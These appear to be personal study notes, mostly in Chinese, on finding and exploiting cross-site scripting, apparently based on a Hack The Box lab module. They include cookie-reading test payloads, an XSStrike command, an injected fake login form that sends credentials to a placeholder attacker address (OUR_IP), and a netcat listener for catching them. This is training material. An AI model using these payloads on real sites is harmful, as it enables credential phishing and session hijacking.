XSS
1.發現點
評論區、搜尋框、URL參數、HTTP標頭等 (Something you input that will show out! )
2.測試Payload
">
<script>alert(document.cookie)</script>
<img src="" onerror=alert(window.origin)>
3.bypass技巧
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
4.濫用
網路釣魚 ,會話劫持
5. Manual Discovery 手動發現
當涉及手動 XSS 發現時,尋找 XSS 漏洞的難度取決於 Web 應用程式的安全性等級。通常可以透過測試各種 XSS 負載來發現基本的 XSS 漏洞,但識別進階 XSS 漏洞需要高階程式碼審查技能。
尋找 XSS 漏洞的最基本方法是針對給定網頁中的輸入欄位手動測試各種 XSS 負載。我們可以在網路上找到大量的 XSS 負載列表,例如PayloadAllTheThings上的列表或PayloadBox中的列表。然後,我們可以開始逐一測試這些有效載荷,方法是複製每個有效載荷並將其添加到我們的表單中,並查看是否會彈出警告框。 檢測 XSS 漏洞最可靠的方法是手動程式碼審查,它應該涵蓋後端和前端程式碼。如果我們準確地了解我們的輸入是如何被處理的,直到它到達網頁瀏覽器,我們就可以編寫一個可以高度自信地工作的自訂有效負載。
對於更常見的 Web 應用程序,我們不太可能透過有效載荷清單或 XSS 工具發現任何 XSS 漏洞。這是因為此類 Web 應用程式的開發人員可能會透過漏洞評估工具運行他們的應用程序,然後在發布之前修補任何已發現的漏洞。對於這種情況,手動程式碼審查可能會發現未被發現的 XSS 漏洞,這些漏洞可能會在常見的 Web 應用程式的公開發布後繼續存在。這些也是超出了本模組範圍的先進技術。不過,如果您有興趣學習它們,安全編碼 101:JavaScript和白盒滲透測試 101:命令注入模組會全面涵蓋這個主題。
6.網路釣魚
接下來,我們應該準備我們的 XSS 程式碼並在易受攻擊的表單上進行測試。要將 HTML 程式碼寫入易受攻擊的頁面,我們可以使用 JavaScript 函數document.write()
,並在我們之前在 XSS 發現步驟中找到的 XSS 負載中使用它。一旦我們將 HTML 程式碼精簡為一行並將其添加到write
函數中,最終的 JavaScript 程式碼應如下所示:
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
7.憑證竊取
PikachuN@htb[/htb]$ sudo nc -lvnp 80
listening on [any] 80 ...
現在,讓我們嘗試使用憑證test:test
,並檢查我們得到的netcat
輸出( don't forget to replace OUR_IP in the XSS payload with your actual IP
):
8.Skills Assessment
https://academy.hackthebox.com/module/103/section/1011
最后更新于
这有帮助吗?